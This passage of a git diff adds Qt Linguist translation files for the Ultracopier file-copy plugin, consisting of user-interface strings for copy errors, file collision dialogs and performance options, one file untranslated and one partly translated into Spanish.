+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/es/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/es/translation.ts
new file mode 100644
index 0000000..d2a294f
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/es/translation.ts
@@ -0,0 +1,1305 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="es" sourcelanguage="en">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation>No es compatible con esta plataforma</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation>Fecha de última modificación es incorrecto</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation>Fecha de último acceso es incorrecto</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation>Error desconocido: %1</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation>Error desconocido</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation>Error de conversión de Sendero</translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation>El motor se ve obligado a moverse, no se puede copiar con ella</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation>El motor se ve obligado a copiar, no te puedes mover con él</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation>Destino</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation>Utilice el destino &quot;%1&quot; actual?</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation>El modo se ha visto obligado previamente. Este es un error interno, por favor repórtelo</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation>Pedir</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation>Omitir</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation>Unir</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation>Cambiar el nombre</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation>Ponga al final</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation>Sobrescribir</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation>Sobrescribir si es diferente</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation>Sobrescribir si nuevo</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation>Sobrescribir si es mayor</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation>Automático</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation>Secuencial</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation>Paralelo</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation>error Opciones</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation>Opciones del motor no está cargado. No es posible acceder a los filtros</translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation>Pedir</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation>Omitir</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation>Unir</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation>Cambiar el nombre</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation>Ponga al final</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation>Sobrescribir</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation>Sobrescribir si es diferente</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation>Sobrescribir si nuevo</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation>Sobrescribir si es mayor</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation>Automático</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation>Secuencial</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation>Paralelo</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation>error Opciones</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation>Opciones del motor no está cargado. No es posible acceder a los filtros</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation>Opciones del motor no está cargado, no se puede acceder a los filtros</translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation>Espacio en disco</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation>Necesita más espacio en esta unidad para terminar esta transferencia</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation>Continuar</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation>Cancelar</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation>Drives %1 tienen %2 disponible, pero necesitan %3</translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation>Error en la carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation>Nombre de la carpeta</translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation>Error</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation>Trate de cambiar el nombre con el uso de caracteres especiales</translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation>Error</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation>Trate de cambiar el nombre con el uso de caracteres especiales</translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation>Buscar:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation>Tipo de búsqueda:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation>texto Fuente</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation>Regex simplificado</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Perl&apos;s regex</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation>Aplicar sobre:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation>Archivos</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation>Carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation>Archivos y carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation>La cadena de prueba coincide con la expresión regular</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation>Verification</translation>
+ </message>
+ <message>
